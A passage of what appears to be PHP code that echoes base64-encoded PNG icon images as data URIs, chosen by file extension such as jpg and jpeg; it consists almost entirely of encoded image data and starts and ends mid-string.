"data:image/png;base64,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"; } elseif ($ext == "jpg") { echo "data:image/png;base64,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"; } elseif ($ext == "jpeg") { echo "data:image/png;base64,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